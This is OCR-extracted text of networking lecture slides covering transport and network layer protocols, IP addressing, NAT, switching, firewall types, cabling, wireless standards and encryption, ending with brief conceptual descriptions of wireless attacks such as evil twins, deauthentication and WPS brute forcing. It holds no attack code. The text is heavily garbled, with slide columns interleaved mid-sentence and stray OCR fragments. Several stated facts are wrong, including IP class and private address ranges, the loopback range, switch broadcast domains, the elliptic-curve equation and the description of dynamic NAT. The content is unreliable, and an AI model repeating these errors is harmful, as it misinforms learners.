What would the response from the server be?

» Afailed transmission for a windows size of 3:

Packet 1

—_— e

Packet 2 - LOST

Packet 3
<7 ACK 2 5
Packet 2

———t

Packet 1

Packet 2 - LOST
g/ Packet 3 5
_Packet4 - LOST

Packet 5
ACK 4 22

A e T

’%‘:I'i'ans“bort Layer — Acknowledgerﬁé‘hts ’ User Datagram Protocol -

» If there were a window size of 5 and the following scenario occurred

. What would the response from the server be? » UDP is called a “best effort” communication process

Pl + Datagrams are sent without regard to packet reception
Packet 2 - LOST
Packet 3

Packet 4 - LOST
' Packet 5
<// ACK 2
ACK 4

Packet 2
Packet 4

ACK 6

I

I

\’I/ L SRR \’I/

Host A Host B

|

|




Network Layer Details

» Responsible for routing and addressmg error detect n,
and traffic control , .
» Network Layer Protocols ¢
v Routing
Routing Information Protocol (RIP)
Interior Gateway Routing Protocol (IGRP)
Enhanced Interior Gateway Routing Protocol (EIGR
Open Shortest Path First (OSPF)
Border Gateway Protocol (BGP)
o Internet Group Management Protocol (IGMP)
/ Addressing
o Internet Protocol (IP)
o Network Address Translation (NAT)
o Internet Protocol Security (IPSec)

o

Network Layer

o
o
o
(e}

' Network Layer - Routlng : " Network Layer — Routers

Distance Vector Routing Protocol

v’ The quickest route between 2 nodes is based on mlnnmgm diéfahce wher
routers maintain a distance table based on “hops”

v  Distance Vector Protocols

o Routing Information Protocol (RIP)

o Interior Gateway Routing Protocol (IGRP)

o Enhanced Interior Gateway Routing Protocol (EIGRP)
Link State Routing Protocol
v’ Each router calculates the best route to every possible network
- v Routing tables are updated with new network data
v Link Stat% Rouiing Protocols
o Ope 1 Shortest Path First (OSPF)

‘Routers establish the backbone of
internet communication

Routers connect Local Area Networks
(LAN) over other LANs and Wide Area
Networks (WAN)

Routers provide or deny access through
‘the use of Access Control Lists (ACL)

i HA

Network Layer — Router Types

or ?I';ayer — Routers Detai

Routers can be configured with different application lay I
- v Unencrypted Protocols — Telnet, SNMPv1, SNMPch ‘
v Encrypted Protocols — SSH, SNMPv3
Routes are maintained with internal routing tables that speCIfy route§
Routers use three primary protocols:

v Routing Information Protocol (RIP)

v Border Gateway Protocol (BGP)

v Open Shortest Path First (OSPF)

Routes inside of Routers are configured as either:

Border Router

v Connection of 100BaseT network
to T1 network

Zone

v’ Using a router to segment a

- network into multiple networks

~ Routers can be defined based on

their access, distribution, or core

functions

Router




ﬁétv&bfk Layer — Addressihg

An packet (IPv4) contains:
v Version (4)
v Header Length (4)

TR T

Primary protocols are IPv4 and IPv6 specified in RFC 791 & 2460

P

S T

IPv4 Addressing Rules

An IP address must be assigned to a host to communicate with other hosi

An IP address is a 32-bit value formatted in a dotted-decimal notation
- containing 4 octets

v Differential Services (8)

M Virehark Packet - T cop

¥ Total Length (16)

v ID (16)

v Ethernet Flags (3)

v Fragment Offset (13)
v TTL (8)

v Protocol (8)

v Header Checksum (16) o 2 Pat FaEE A
‘/ Source IP Address (32) o fe ff 20 00 01 00 00 00 01 00 00 00 08 00 ERULY

02 07_0f 45 40 00 80 0690 10 91 fe a0 ed 41 do)

¥ Destination IP Address (32) 0020 35be 0 55 00 00 47 45 53 20 2F o4 of 77 o0 oc

Each network interface card (NIC) is assigned an IP address before
communicating over a network, LAN or WAN

There are a total of 32-bits in an IPv4 address which means there are 23
- or 4,294,967,296 potential IP addresses available for use

204.17.125.47

15, Options (32) ; ! 0040 6f 61 64 2e 68 74 6d 6c 20 48 54 54 50 2f 31 2e

IPV4 Address Types

communications

v Unicast: 1-to-1

v Multicast: 1-to-Many
v’ Broadcast: 1-to-All

» We will introduce the following IPv4 address types:
v ClassA,B,C,D, & E

v Private

v’ Loopback

v Broadcast

v  APIPA

Pﬁvate IP Addresses

RFC 1918 documents private IP addresses
Class A
10.0.0.0 — 10.255.255.255

Class B
172.16.255.255 - 172.31.255.255

Class C
192.168.0.0 — 192.168.255.255

TR T

» There are three modes to consider when considering IP

Eesian o i g

There are a range of IP addresses assigned solely for internal IP addressing

These addresses are locally used and non-routable across the internet

11001100.00010001.1111101.00101111

ok

TR T

: IPV4 Network Classes

‘There are 5 IPv4 network classes with the following IP address ranges:

v Class A
0.0.0.0 — 127.255.255.255

v Class B

128.0.0.0 — 191.255.255.255
v Class C

192.0.0.0 — 223.255.255.255
¥ Class D (Multicast)

224.0.0.0 — 239.255.255.255
v Class E

240.0.0.0 — 247.255.255.255

he determination of which IPv4 network class an address falls into, is based
olely on the value of the first octet 3

signals to remain within a host

Loopback addresses can be used to debug traffic before they leave th y
confines of a network

» |IPv4 loopback address can be with the following range:

127.0.0.0 — 127.255.265.255




Broadcast Address

b A broadcast is used to send messages to all hosts on a network
segment

APIPA Addresses

Automatic Private IP Addressing is assigned to any host not receiving a

» Abroadcast address is identified when 2 or more concurrent proper IP address during the DHCP process

octets are designated with all 1’s B o ANS andnontoutabla

Indicates a broadcast for all APIPA address range:
hosts in a network

255.255.255.255
169.254.0.1 — 169.254.255.254

Indicates a broadcast for all
subnets and hosts in the
172.16.0.0 network

172.16.255.255

Indicates a broadcast for all

10.255.255.255 subnets and hosts in the
10.0.0.0 network
Time-to-Live OS TTL and Window Size Values

~ + The following table shows examples of different TTL and Window Sizes
for various operating systems

ICMP can identify TTL values and potential operating systems

Time-to-Live (TTL) refers to a setting that restricts the lifespan of data on
a network

When packets are sent over a network, a TTL “timestamp” is attached to

each network Iayer Operating System |Time To Live|TCP Window Size
« Every time a packet crosses over a router boundary, the TTL value is Linux 64 5840
| decremented until the TTL reaches zero which prevents data from G°°F9rl:e;SiD““x 2: 6557523"5
continuing indefinitely Windows XP 128 65535
Operating systems specify both the TTL value as well as a “window size” Windows Vista 128 8192
making it easier to identify what type of operating systems are Windows 7 128 8192
communicating over a network ___Windows 10 128 8192
Windows Server 2008 128 8192
255 4128

Cisco Routers
N

s O s O

Network I:ayer — Network Address Translatio e twork Layer — Static N T

-+ Each private IP is mapped to a single public IP
» The objective of static NAT is to prevent disclosure of private IP space
 Static NAT is not effective on very large private networks

Network Address Translation (NAT) maps private IP addresses to public
IP addresses to save addressable IP addresses

Three different NAT configurations:

v’ Static NAT
o Each private IP is mapped to a single public IP
v' Dynamic NAT
o A pool of private IPs is mapped to a single public IP
v Port Address Translation
o Each private IP is mapped to a single public IP and port

10.10.10.4

200.1.1.1
200.1.1.2
200.1.1.3
200.1.1.4

10.10.10.3

10.10.10.100

10.10.10.2 Gateway

NICs

10.10.10.1

il AL i

External

50.1.1.1

60.1.1.1

External
Network

70.1.1.1

e
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"~ Network Layer — PAT

Port Address Translation (PAT) reduces the number of public IP address
further by making use of port numbers

Sessions established by each private IP are associated with specific port
numbers on the public IP address :

Each public IP address can provide up to 65,535 ports

P

"~ Network Layer — Dynamic NAT

Dynamic NAT improves on static NAT by reducing the number of public
IP addresses needed to communicate

Dynamic NAT requires definition of the number of private IPs that will
be associated with a single public IP address

19.10.@.4 10.10.10.4

200.1.1.1 50.1.1.1
200.1.1.2
200.1.1.3

200.1.1.1:1000 50.1.1.1
200.1.1.1:2000
200.1.1.1:3000

10.10.10.3

10.10.10.3

60.1.1.1

10101 200.1.1.4 :
409 10100 | xt f 10.10.10.100 200.1.1.1:4000
2 n e ernal
w Network A 4—_—, ﬂn_, Externakl
Gateway External o = etworl
NICs 10.10.10.2 Gateway External
NICs
70441 - 1010101 4 70.1.1.1

— e

Protocol

- Network Layer — IP Security
IP Security (IPSec) is a suite of protocols that provides link encryption
» |PSec packets are composed of numerous components
v’ Authentication Headers (AH)
v Encapsulating Security Payloads (ESP)
v’ Security Associations (SA)
 IPSec provides 2 modes of operation
v Transport Mode
o IPSec encrypts only the data packet; ESP
o Used when sending packets to non-IPSec enabled routers
v Tunneling Mode

o IPSec encrypts both the data packet and the source and
destination IP headers; ESP and AH
e T b

etwork Layer — Internet Control Message

ICMP sends messages between addressed endpoints to determine if
errors or failures are occurring over a network

Multiple options are available for ICMP to be more efficient over a netwol

The information gathered between endpoints can be used to determine
which operating systems are communicating over a network

In addition to ICMP, there are two additional protocols that can be used to?;
identify systems on a local area network:

v ARP
. TCP

o o e » e

" Network Layer — IP Security

A

IPSec key management and exchange protocols include:

v' Internet Security Association and Key Management Protocol
(ISAKMP)

v Oakley
v’ Secure Key Exchange Mechanism for Internet (SKEME)

The suite of these protocols in known as the Internet Key Management
Protocol (IKMP) or Internet Key Exchange (IKE)

Data Link Layer
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Data Link Layer — MAC Addressing
There are two sublayers within the data link layer:
» Media Access Control (MAC)
+ Specifies how packets are transmitted on the interface
* Logical Link Control (LLC)
» Prepares data for transmission to the network layer

e Every Network Interface Card (NIC) contains a MAC address which is
a 48-bit hardware address value composed of an Organizationally
Unique Identifier (OUI) and a unique manufactured serial number

Data Link Layer
Responsible for formatting packets from the Network layer inf
the proper format for transmission

Data link standards including Ethernet (IEEE 802.3), Token
Ring (IEEE 802.5), asynchronous transfer mode (ATM), Fib
Distributed Data Interface (FDDI), and Copper DDI (CDDI)

Data Link Layer Protocols

 Serial Line Internet Protocol (SLIP)
* Point-to-Point Protocol (PPP)

» Address Resolution Protocol (ARP)
» Layer 2 Forwarding (L2F)

* Layer 2 Tunneling Protocol (L2TP) Organiiationally
» Point-to-Point Tunneling Protocol (PPTP) Unique
Integrated Services Digital Network (ISDN) e : Iegtier

Network Layer

Manufacturer

1A:24:B4:17:E2:1C Assigned

Serial Number

o ok R s R
ata Link Layer — Broadcast Domains

~ Several ways to communicate over an Ethernet network
v Unicast — One-to-One Communication

v Multicast — One-to-Many Communication

v Broadcast — One-to-All Communication

A network broadcast sends message to all other hosts on a network
An example of a broadcast domain is a switched network

g

IS el S L

‘Data Link Layer —- MAC Addressing

- Frames used to communicate in Ethernet based networks:
v'Broadcast
o A frame that is broadcast to all ports
v Unicast
o A frame sent from a single source to a specific MAC address
v Multicast
o Aframe can either be end to all ports or sent only to ports needin
the frame
FF:FF:FF:FF:FF:FF
Ethernet Broadcast
OX:XXEXXIXXIXXIXX — TXXXXKEXX XK XX
Ethernet Unicast
BXXXXKIXXIXKXX — FXXXXXIXXIXXIXX
~ Ethernet Multicast / Broadcast

Collision Domain

J%J

Broadcast Domain

N

T

Data Link Layer Devices

BT,

Data Link Layer Devices — Bridge

A 2-port device connecting network segments and breaking up
collision domains

Bridges are implemented as software solutions, whereas switches are
generally hardware based

o Multiple Collision Domains
Single Broadcast Domain
8 Multiple Collision Domains
Single Broadcast Domain

Switch




Defa Link Layer — Practical

How many collision and broadcast domains are in the network shown? ~ How many collision and broadcast domains are in the network shown?

9 Collision Domains

T T

ata Llnk Layer — Practical

T

 Data L|nk Layer Devices — Swﬂc

How many collision and broadcast domains are in the eetwork shown? A switch is a multi-point bridge device

}‘Broadcast Domain — A logical network

- separation that allows nodes to communicate
hrough broadcasts

Each port on a switch contains an independent
- broadcast domain

Media Access Control (MAC) — Unique
_network interface for each device on a network

witches operate Layer 2 and 3, of the OSI
odel

3 Broadcast Domains

i S e g R = a5
Data Link Layer Devices — SW|tc ; ‘Data Link Layer — Switch Decisions
witches provides three main functions: ' ; k.

« Address Learning

« Switches collect source MAC addresses from each frame and generate
MAC Address Table

- Switches forward frames based on the destination MAC address

» For unknown destination unicast, multicast, and broadcast
addresses are flooded out every switch port '

» For known unicast addressees
« If an entry is different then the outgoing interface it is fonNarded
» If an entry is the same as the outgoing interface it is filtered

Switches learn MAC addresses based on the source MAC address

» The switch will note the incoming MAC address and port

« If the MAC address and port are not currently in the CAM table, the
will be added -

* Forwarding Decisions

« When an address is found in the MAC Address Table, the frame is sent to
the correct interface

« Otherwise, it is flooded out of all switch ports
+ Loop Avoidance
* Aloop occurs when frames are continuously broadcast
. Swntchés prevent loops through specialized protocols
keep track of systems on a LAN switches usea MAC address table

e it
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b Data Link Layer — Switch
Forwarding to Known Unicast Frames

If a frame is received by the switch and the destination is listed on the‘
MAC Address Table, then the frame will be forwarded to the specified
system ;

- Data Link Layer — Frames
 Ethernet is defined by RFC 894

v'A Standard for the Transmission of IP Datagrams over Ethernet Networ
- An Ethernet frame contains: o
v Destination MAC (6 bytes)

MAC Address Table
v Source MAC (6 bytes) YT T
1A:24:11:11:11:11 AT e 1A:24:22:22:22:
v Ethernet Type (2 Bytes) e Fors i
‘/Ethernet Payload 1A:24:33:33:33:33 F0/3

o Includes data from all higher TCP/IP layers

M Wireshark - Packet 4 HTTP.cap - a X

Fnl/
Destination

1A:24:22:22:22:22 Fo/3 MAC Address Table
Switching Table

Bridging Table
Content-Addressable Memory Table
R

2o - 1A:24:33:33:33:33

Tnternet Protocol Version 4, Src: 145.254.160.237, DSt: 65.208.228.223
Transwission Control Protocol, Src Port: 3372, Dst Port: 80, Seq: 1, Ack: 1, Len: 479
Hypertext Transfer Protocol

o . Ethernet Type List

" Data Link Layer — Switch Forwarding Decision with
Multiple Switches Known Unicast Frames

Data Link Layer - Flooding Unknown
Unicast and Broadcast Frames

~ « Ifaframe is received by a switch but not listed in the MAC Address Table, it will

R T ticicolnecied sitch If a MAC Address Table is not populated, it will be necessary to flood

each switch port with the frames for the destination MAC address

MAC Address Table - SW1

1A24:11:11:11:11 AC AdGE 1A:24:33:33:33:33
1 1A:24:11:11:40:01 For 1
1A:24:22:22:22:22 Fo/2 |
1A24:33:33:33:33 GO/ .04:18-02-49-
\ 1A:24:44:44:44:44 GoM 00:0a:18:e2:42:ea
Destination Destination
1A:24:33:33:33:33 1A:24:33:33:33:33

00:01:97:91:8e:b8 00:0c:cf:ca:20:eb

r MAC Address Table — SW2
/ MAC Address Interface =
| 12:24:33:33:33:33 o oL e i
1A:24:22:22:22:22 1a: a4 D b S il \f‘m
Destination
1a: ‘11 co/2 S

. 1a:24:22:22:22:22 co/2 i vivero= 8
e ¥ i i e # i i

g -

Data Link Layer — Spanning Tree Protocol

ta Link Layer — Address Resolution Proto

Switches also provide protection against loops

+ Spanning Tree Protocol was designed to prevent loops by utilizing the
Spanning-Tree Algorithm

» STP prevents loops by disabling redundant links within the switch
~ + STP related IEEE standards

v 802.1D (STP)

v' 802.1W (Rapid STP)

* Address Resolution Protocol translates logical addresses (i.e. IP
addresses) to physical addresses (i.e. MAC addresses)

~*» Each host maintains a MAC Address Table

If a host requires an update to its ARP table it sends out a broadcast
message to the network

Hosts that respond to an ARP broadcast will send a unicast message to
the sender




Bytes captured 80
3 £

FF:FF:

00:1a:
Target TP address: 10.10.10.2




i

iy, i

ysical Layer Devices — Repeater

Phyéical Layer Deviceé

A repeater is a legacy network device that amplifies and forwards
signals in a network to ensure proper signal power at each endpoint

Repeaters have a single collision domain and can only allow single
direction transmissions

Hub Single Collision Domain

Single Broadcast Domain

Single Collision Domain
Repeat a >
gpeatet Single Broadcast Domain

e

BRI ey
4

R

Physicél Layer Devices — Hub ;

A hub is a multi-port repeater that connects devices into a single
collision domain with no segmentation and in a star topology

Traffic on a hub is broadcast to all devices connected to the hub

Due to improvements in switch-based networks, repeaters and hubs
are not generally used in practice

5
SED
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Secure Network Components

ik RSN,

s T

“Secure Networks " Network Segmentation

Secure network components provide security through network isolation
and access control and hardware and software firewall solutions
v' Network Segments

- v Network Access Control (NAC)

v’ Firewalls

Networks segments can be configured based on organizational functio
v’ Enterprise Networks
v' Company Departments
v Isolated Labs
Virtual Local Area Networks (VLAN) for specific network types
v’ Supervisory Control and Data Acquisition (SCADA)
v Industrial Control System (ICS)
v Servers
v Medianets
v Video Teleconference

o Static Packet-Filtering Firewall (i.e. Stateless)
Application-Level Gateway Firewall
Circuit-Level Gateway Firewall

Stateful Inspection Firewall

Deep Packet Inspection Firewall
Next-Generation Firewall
Multlh%[gggﬁrew?ll

S

Siiel (oo e sile]




~ Virtual Local Area Networks Zones

+ VLANs separate broadcast domains in a switched environment by
separating systems based on function or organizational architecture

ks
Without a VLAN configured of the following network, every broadcast will
be seen by all hosts on the network :

VLANS are assigned different subnets over the LAN

Different architecture provides additional levels of security
v Zones

o Secure Zone — Mission critical systems

o General Work Zone — Standard systems

o Low Security Zone — Non-critical systems

o DMz
v’ Extranet

o Provides external access to organizational assets (i.e. Vendors)
v Intranet

o Provides internal access to organizational assets
-~ v Wireless
o RF Segmentation (i.e. Guest, Intranet)

X Finance
Finance HR

VLAN 10 — 192.168.10.0/24

VLAN 20 - 192.168.20.0/2
¥ VLAN 30 - 192.168.30.1/24

Engineering &

Engineering r

HR

TR

Demilitarized Zone Firewalls

~ Firewalls provide network isolation to network resources through
hardware, firmware, and software and apply the principle of least access
to prevent unauthorized traffic ¢

Several types of firewalls:

An untrusted network providing
access to organizational assets
DMZ provide three interfaces
for security:

v Internet Static Packet-Filtering Firewall (i.e. Stateless)
v’ Intranet Application-Level Gateway Firewall
v Extranet

v

v

v’ Circuit-Level Gateway Firewall
v’ Stateful Inspection Firewall
v
v
Y.

Internal Iner
Web Appiication  Highle

A host placed in a DMZ and
specially hardened is known as

a Bastion Host Deep Packet Inspection Firewall

Next-Generation Firewall
Multihomed Firewall

TR

~ Stateless Packet Filtering Firewall ~ Application-Level Gateway Firewall

Known as proxy firewall it copies packets from private to public networks
to prevent private network identification

Filter traffic based on application headers and each application has a
unique proxy server

Negatively affect network performance since every packet must be
examined and processed as it passes through the firewall

2d generation firewall that operates at application layer (Layer 7)

Filters traffic through ACLs based only on source, destination, and port

Stateless firewalls are first-generation firewall technologies and are
limited since they are unable to provide user authentication or determine
packet origination

Stateless firewalls are network and transport layer devices (Layer 3 & 4 ]

FW
Internal
e Y | : FW
| | Internal
q—lﬂ—p "‘ﬂ_' External 1\ Notwork : :
Internal External ~ | ﬂn_. External
NIC NIC !. % Network
Internal External
NIC NIC



Circuit-Level Gateway Firewall

Known as a circuit proxy, it establishes and manages sessions based o
endpoints, not content

Forwarding decisions are based on source, destination, and ports, but
unlike stateless firewalls, it operates at the session layer (Layer 5)

Considered second-generation firewalls by improving on stateless
packet-filtering firewall capabilities

v’ Socket Secure (SOCKS) is a common circuit-level gateway firewall

Internal
Network

Internal
NIC

o Déép Packet Inspection Firewaii

Deep packet inspection (DPI) firewalls make forwarding decisions based
on payload content such as domain names, malware, spam, or other
identifiable payload elements

When integrated with intrusion detection and prevention system, a

TLS/SSL proxy, web filtering, QoS management, bandwidth throttling,
NATing, VPN anchoring, and antivirus it creates a multifunction device
(MFD) that operates over Layer 2 — 7

\ Internal

Internal
NIC

Firewall Summary

LR

o =

~ Stateful Inspection Firewall

- Known as dynamic packet filtering where forwarding decisions are based ¢
source and destination addresses, application usage, origin source, and
current and previous packets

State tables are more efficient than application-level gateway ACLs
3rd generation firewalls operating at network and transport layers (Layer 3/4)

Stateful packet inspection also provides security to connectionless protoco
including UDP and ICMP

Internal
Network

~— i -
Internal
NIC

External
Network

ﬂﬂ—o External

5 Network

External
NIC

External
NIC

Multihomed Firewall
Firewalls with more than one interface to filter traffic

Multihomed firewalls disable IP forwarding, which prevents traffic from
being automatically sent to other interfaces and forces filtering rules to
control traffic
Examples of multihomed firewalls include
v’ Bastion host
o Computer or appliance exposed on the internet and hardened by i
removing all unnecessary elements, such as services, programs,
protocols, and ports
v Screened host
o Afirewall-protected system logically positioned just inside a priva‘te‘
network where inbound traffic is routed to act as a proxy for all
trusted systems within the private network

ﬂn—b External
28 Network

External

NIC

Firewall
Type

Advantages

osT

Disadvantages
Layer

Generation,

Stateless
Packet
Filtering

Efficient at processing packets

Enforces complex security policy through
[protocol header filtering

Cannot filter at application layer and is

difficult to securely

Layer 3
in spoofing vulnerabilities ¥

Layer 4

Does not support authentication or logging

Applicat

Capable of detecting and blocking attacks
¢t visible at network or transport layers

Level
Gateway

Obscures private network configuration

Complex to configure, maintain, and
requires significant overhead

Layer 7
Requires a proxy for each network

Cireuit
Level
Gateway

More efficient than application-level
gateways

Relatively inexpensive

Protects circuits (network sessions)
instead of packets resulting in lack of
content filtering

 Cabling, Wireless, Topology, Communications,
and Transmission Media Technology

Layer 5

Requires network protocol stack changes

Stateful
Inspection

Capable of blocking protocel exploits

Can operate with fewer open ports
resulting in reduced surface

Capable of blocking many DoS attacks

High processing overhead

Does not support authenticated connections
and ineffective against stateless
protocols exploits

Layer 3
Layer 4

Deep
Packet

Provides 1 firewall bil

of security funct:

combined with IDS/IPS, advanced, threat
intelligence, and malware scanning

More at network

traffic than combination of firewall plus
IDS/IPS and malware scanning

Layer 2
Layer 3
Layer 4
Layer 5
Layer 6
Layer 7

requires significant processing and makes
NGFWs a single point of failure

Next

Generation
Requires significant resources to acquire,

configure, and deploy




IEEE 802.3 Physical Media

The most common cables used in networks include:

IEEE 802.3 is a standard focused on Ethernet communication

v Coaxial
The following table specified the 802.3 standard, media, designation, v Twisted-Pai
data rate, and maximum cable length for common media isiec i
v’ Fiber Optic

Coaxial Cable
v Copper Conductor

Ethernet Designation Data Maximum
Standard Rate Cable
Length

802.3 Coaxial - Thicket 10Base-5 10 Mb/s 500 m v PIaStiC Jacket (PVC, Teﬂon)
802.3a Coaxial - Thinnet 10Base-2 10 Mb/s 185m i “
e . T | O T o Teflon covering known as “plenum-rated coating”
802.3] Fiber Optic 10Base-F 10 Mbls 2000 m o Plenum is used due to its higher combustion level and less toxic
802.3u Twisted Pair (UTP) 100Base-T 100 Mb/s 100 m composition
802.3ab Twisted Pair (UTP) 1000Base-T 1 Gb/s 100 m

v Braided Shield
v Coax cables provide some level of protection against EMI and RFI.

Physical Media Physical Media

Twisted-Pair
v Individually insulated wires twisted together
v If metallic shielding is added, it is called Shielded Twisted Pair

Thin Ethernet
v Known as Thinnet — 10Base2

| i (STP)
B ' cadl vt is Radig Brede 58 (RS v If metallic shielding is not added, it is called Unshielded Twisted
Thick Ethernet Pair (UTP)

v Known as Thicknet — 10Baseb
v’ Ethernet coaxial cable is Radio Grade 8 (RG-8)

v UTP have the data rate and maximum cable length designations
o 10BaseT, 100BaseT, 1000BaseT

Twisted Pair Examples

Twisted Pair

All twisted pair cables are rated into categories
CAT Se, Normal UTP
il il i s ) P
Range \ «—
1 48 1 Mbls Voice (A) / /
| 2 8 4 Mb/s 10 MHz 100 m Voice (D) <
| 3 6 10 Mb/s 16 MHz 100 m
4 8 16 Mb/s 20 MHz 100 m
5 8 100 Mb/s 100 MHz 100 m
5e 8 1 Gb/s 100 MHz 100 m LANs
6 8 10 Gb/s 250 MHz 55m
6a 8 10 Gb/s 500 MHz 100 m
7 8 10 Gb/s 600 MHz 100 m
Unshielded twisted pair has standards defined for Category 2 - 6 CAlliSe, Shicled TWisted Pai (STE)




- Network Topologies

Network topology is based on organizational needs and technology
requirements

There are numerous network topologies
v Fully Connected

v Ring
v Bus
v’ Star %

Network Topologies

¥ Mesh Fully Connectedhetwork Tpcogy

Q!! i

cumusvmw Ring Network Topology

‘ Wireless Networks i

IEEE 802.11 is a set of media access control (MAC) and phySIcaI Iayer
(PHY) specifications for implementing wireless local area network
(WLAN) computer communication in the ranges:

v 24 GHz

v 3.6,GHZz

v 5 GHz

v 60 GHz

There are a wide variety of wireless network types including:
v Extension of Existing Wired Network (Single / Multiple)
v' LAN-2- LAN Wireless Network

v 2G/3G/4G 15G ereless Network

Wireless Communications
and Security

' RF Modulation Schemes

IEEE 802.11 modulation schemes based on different parameters:
v' Frequency Hopping Spread Spectrum (FHSS)

Wireless Standards
* |EEE 802.11 standards:

802.11 2.4 GHz 2 Mbps FHSS / DSSS o Rapid carrier signal switching over numerous frequencies

802.11a 5GHz 54 Mbps OFDM o Synchronizes endpoints through pseudorandom sequences

802.11b 2.4 GHz 11 Mbps Dsss ¥' Orthogonal Frequency-Division Multiplexing (OFDM)

802.11g 2.4 GHz 54 Mbps OFDM o Modulation encoding over multiple carrier frequencies

E0230n 26 D Elik B0OMbpS (@72l o Used in DSL, wireless networks, power line networks, and 4G mobile
802.11ac 5 GHz 1 Gbps OFDM communications
agz.;::d 2'4'2:2 Z‘L(:Hz :z:z 2:‘;’: v Direct-Sequence Spread Spectrum (DSSS)

802.16 10 — 66 GHz 120 Mbps OFDM o Reduces signal interference by creating a noisy channel

802.20 <3.5GHz 1 Mbps OFDM o DSSS is resistant to interference
Bluetooth 2.4 GHz 24 Mbps GFSK

v Gaussian Frequency-Shift Keying (GFSK)

HiperLAN/2 5GHz 54 Mbps OFDM ! i i
5 2 y = o A Gaysst%ﬁlter on FSK signals creates smooth transitions
e SRR Skt ¥ e




802.11 Frame Types Wireless Encryption

IEEE 802.11 has three frame types depending on communication needs: |

» Encryption methods used within the IEEE 802.11 standard

» Wireless technologies utilize stream ciphers in many applications & |
v RC4 |
Frame Type v ECC
Management Notifies users of connection status » Wireless encryption types that we will address include:
Control Controls access to wireless media
Data Carries upper OSl layer data
WEP Wired Equivalent Privacy 5
WPA Wi-Fi Protected Access 1

WPA2 Wi-Fi Protected Access 2
WPA3 Wi-Fi Protected Access 3

Wired Equivalent Privacy Wi-Fi Protected Access

Designed to provide privacy equivalent to a wired network
WEP uses RC4 encryption

Major flaw in WEP is the utilization of a 24-bit Initialization Vector (IV)
which is vulnerable to a brute force key attack

* WHPA utilizes Temporal Key Integrity Protocol (TKIP) to improve the
security of WEP

* A 128-bit wrapper is used around WEP encryption
e The TKIP wrapper utilizes:

v’ Destination MAC Address

v Packet Serial Number
» Even with these improvements, TKIP is insecure

Wi-Fi Protected Access 2 Wi-Fi Protected Access 3

k

- WPA2 requires Counter Mode with Cipher Block Chaining | | * WPA3 improves on the security of WPA2 and provides the following modes |
Message Authentication Code Protocol (CCMP) . of operation

v" WPA3 Personal (WPA-3 SAE) Mode
o Static passphrase-based authentication
v' WPAS Enterprise (WPA3 ENT) Mode
o Requires management frame protection
o Optional 192-bit cryptographic suite
v" Wi-Fi Enhanced Open Mode
v Increases privacy in open networks

* CCMP uses 128-bit encryption with a 48-bit initialization vector
* Implements the entire IEEE 802.11i standard

v’ Prevents passive eavesdropping by encrypting traffic even when a
password is not used

Eneryption:

Key Renevat




W Elliptical Curve Cryptography

B Wireless Authentication Protocols
ﬁ For Wireless Hardware and Networks

» Several wireless authentication protocols including:
« An elliptical curve is defined by the following equation: y2 + x3 + ax + b

| - ECC provides significant protection of wireless devices and networks | |
due to its small payload and ability to encrypt bits versus blocks %
=

[ Acronym |_____________Name ______|

EAP Extensible Authentication Protocol
LEAP Lightweight Extensible Authentication Protocol
PEAP Protected Extensible Authentication Protocol

Extensible Authentication Protocol

i
|

%

» Asuite of authentication mechanisms for wireless and
point-to-point connections including key exchange

|+ First defined in RFC 3748 and used WEP

* LEAP was created by Cisco to extend EAP

* Developed to fix WEP security issues

» There are 5 types of EAP: e

v Lightweight EAP

v Protected EAP 9 |

v EAP-TLS (Transport Layer Security) \;—-—’—-ﬂ
o EAP-TTLS (Tunneled Transport Layer Security) .

v EAP-PSK (Pre-Shared Key)

v EAP-MD5 (Message Digest 5)

* No Windows support

» Considered weak replacement fo EAP

W Wireless Terminology
 « Wireless access point terms:

[Acronym | ____________Name_______|

BSSID Basic Service Set Identifier (Access Point)
ESSID Extended Service Set Identifier (Non Access Point)
SsIiD Service Set Identifier

y@ Protected Extensible Authentication Protocol

* PEAP replaced LEAP and tunnels all EAP data | |

* It utilizes Transport Layer Security (TLS)to
encryption connections between serverand
client

» Can be configured to support token-based
authentication

» Requires a Certification Authority for each
authenticating server

BSSID: The 48-bit address derived from the MAC address of the
network interface card

SSID: Sequence of 32 alphanumeric characters that uniquely identify a
. Wireless LAN

~ + ESSID: Used with multiple SSIDs




:\Users\cygnus>netsh
etsh>wlan show interfaces

Wireless Interfaces

here is 1 interface on the system:

Name
Description
GUID

Physical address
State

SSID

BSSID

Network type
Radio type
Authentication
Cipher
Connection mode
Channel

Signal
Profile

* Replay attacks are successful because protocols do not require

Receive rate (Mbps)
Transmit rate (Mbps)

: Wi-Fi 3

: Intel(R) Dual Band Wireless-AC 7260
: e4f78c11-f9e3-4893-ac76-aclb3a4b9e02
: ac:7b:al:cd:ab6:ae

: connected

: AP1

: b2:19:c6:1e:61:56

: Infrastructure

: 802.11n

: WPA2-Personal

: CCMP

: Profile

)

1 144.4

: 144.4

: 99%

: AP1

Wireless Replay Attack

network traffic to authenticate timestamps

» This attack is not difficult to conduct since previous traffic running over

any network can be collected by any protocol analyzer

» Wireless replay attacks will take any traffic that is transmitted over any
wireless radio and broadcast it to any access points in the broadcast

area

>

Jamming

» Wi-Fi, or any other radio frequency (RF)
signal can be jammed to prevent proper

operation

» Jamming signals can be either
continuous or intermittent and can be
applied to a single frequency or
distributed over a frequency band

» The ultimate objective of an RF jamming
is to bring about a denial-of-service

condition

Wireless Attacks

Rogue Access Point ’1

1

Rogue access points are unauthorized systems in a wireless network
A type of access point called an “Evil Twin” is configured to look
exactly like a legitimate access point

Attackers will set the SSID and authentication of an evil twin to match
that of an existing legitimate access point

As wireless devices search an area, if they find an access point with
credentials that match its previously connected systems, it will
automatically connect to the access point

Wi-Fi Protected Setup ’%

1

» WPS allows users to quickly select and join a
wireless network i
Wi-Fi PROTECTED » The process requires the user to enable the router ‘
SETUP on one end and provide a simple PIN on the other
» Due to the lack of security on the strength of the
PIN, it is relatively easy to flood a WPS device with
a brute force attack on the access point

* WPS is not secure and should not be enabled




Disassociation Near Field Communication

I« Commonly referred to as a “de-authentication attack”

» During this kind of attack, a signal is sent from another device with the
same hardware device information (MAC Address) to the access point

. Since standard access points do not have an authentication (&
mechanism to determine which MAC address is correct, it disconnects
the legitimate device and allows the spoofed device to connect to the
access point

* NFC is a short distance communication
technology that allows a client and host to
communicate while within approximately
1.6 inches from one another

* NFC is accomplished by using older Radio
Frequency ID (RFID) standards

Higher security due to the difficult task of
collecting information at the entry point

NFC can be susceptible to “relay” attacks

Disconnection Established

W amm® Connection
tion

g
</‘\'
Legitimate DOS

Attacker

User

Attacker

m Bluetooth Attacks

W | Wardriving

“a » Bluetooth related attacks:

~ | * Making use of wireless antennas
% P and GPS modules, it is possible

messages
